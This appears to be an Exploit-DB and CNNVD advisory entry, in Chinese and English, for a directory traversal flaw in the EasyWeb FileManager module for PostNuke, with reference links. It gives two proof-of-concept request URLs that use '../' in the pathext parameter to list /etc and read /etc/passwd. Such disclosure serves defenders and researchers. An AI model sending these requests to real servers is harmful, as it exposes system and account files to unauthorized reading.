https://www.exploit-db.com/exploits/24306
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200407-039

PostNuke的EasyWebFileManager1.0RC-1版本存在目录遍历漏洞。远程攻击者借助pathext参数的..(点点)检索任意文件。

source: http://www.securityfocus.com/bid/10792/info

EasyWeb is prone to a directory traversal vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data. The issue occurs if a remote attacker sends a request to the 'ew_filemanager' script for a file containing directory traversal character sequences to the application.

EasyWeb FileManager 1.0 RC-1 is prone to this issue.

Update: Conflicting reports suggest that this issue may not be a vulnerability as access to various files can be limited by an EasyWeb administrator. An attacker with valid account credentials may only be able to carry out an attack. This BID will be updated as more information becomes available.

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc

/index.php?module=ew_filemanager&type=admin&func=manager&pathext=../../../etc/&view=passwd

来源:XF
名称:filemanager-pathext-view-directory-traversal(16806)
链接:http://xforce.iss.net/xforce/xfdb/16806
来源:BID
名称:10792
链接:http://www.securityfocus.com/bid/10792
来源:OSVDB
名称:8193
链接:http://www.osvdb.org/8193
来源:www.cirt.net
链接:http://www.cirt.net/advisories/ew_file_manager.shtml
来源:SECUNIA
名称:12151
链接:http://secunia.com/advisories/12151
来源:BUGTRAQ
名称:20040724EasyWebFileManagerDirectoryTraversal
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=109068482605241&w;=2